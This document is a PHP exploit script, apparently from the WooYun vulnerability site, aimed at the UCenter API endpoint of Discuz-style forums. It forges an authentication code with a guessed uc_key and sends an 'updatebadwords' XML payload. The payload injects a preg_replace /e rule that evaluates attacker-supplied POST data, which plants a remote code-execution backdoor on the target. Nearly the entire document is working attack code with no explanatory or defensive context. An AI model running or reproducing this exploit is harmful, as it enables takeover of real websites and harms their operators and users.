WooYun.org

<?php





    $timestamp = time()+10*3600;





    $host="**.**.**.**";





    $agent= md5("Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0");





    $uc_key="uckey";





    $code=urlencode(_authcode("agent=$agent&time=$timestamp&action=updatebadwords", 'ENCODE', $uc_key));





   





    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>





<root>





 <item id="0">





  <item id="findpattern">/admin/e</item>





  <item id="replacement">@preg_replace(chr(47).chr(47).chr(101),$_POST[c],chr(098));</item>





 </item>





</root>';

















   /* $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?><root></root>'; */

















    $html1 = send($cmd1);





    echo $html1;











    





    





function send($cmd){





    global $host,$code;





    $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";





    $message .= "Accept: */*\r\n";





    $message .= "Referer: ".$host."\r\n";





    $message .= "Accept-Language: zh-cn\r\n";





    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";





    $message .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0\r\n";





    $message .= "Host: ".$host."\r\n";





    $message .= "Content-Length: ".strlen($cmd)."\r\n";





    $message .= "Connection: Close\r\n\r\n";





    $message .= $cmd;





    





    $fp = fsockopen($host, 80);





    fputs($fp, $message);





    





    $resp = '';











    while ($fp && !feof($fp))





        $resp .= fread($fp, 1024);





    





    return $resp;





}











function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {





    $ckey_length = 4;











    $key = md5($key ? $key : UC_KEY);





    $keya = md5(substr($key, 0, 16));





    $keyb = md5(substr($key, 16, 16));





    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';











    $cryptkey = $keya.md5($keya.$keyc);





    $key_length = strlen($cryptkey);











    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;





    $string_length = strlen($string);











    $result = '';





    $box = range(0, 255);











    $rndkey = array();





    for($i = 0; $i <= 255; $i++) {





        $rndkey[$i] = ord($cryptkey[$i % $key_length]);





    }











    for($j = $i = 0; $i < 256; $i++) {





        $j = ($j + $box[$i] + $rndkey[$i]) % 256;





        $tmp = $box[$i];





        $box[$i] = $box[$j];





        $box[$j] = $tmp;





    }











    for($a = $j = $i = 0; $i < $string_length; $i++) {





        $a = ($a + 1) % 256;





        $j = ($j + $box[$a]) % 256;





        $tmp = $box[$a];





        $box[$a] = $box[$j];





        $box[$j] = $tmp;





        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));





    }











    if($operation == 'DECODE') {





        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {





            return substr($result, 26);





        } else {





                return '';





            }





    } else {





        return $keyc.str_replace('=', '', base64_encode($result));





    }











}





?>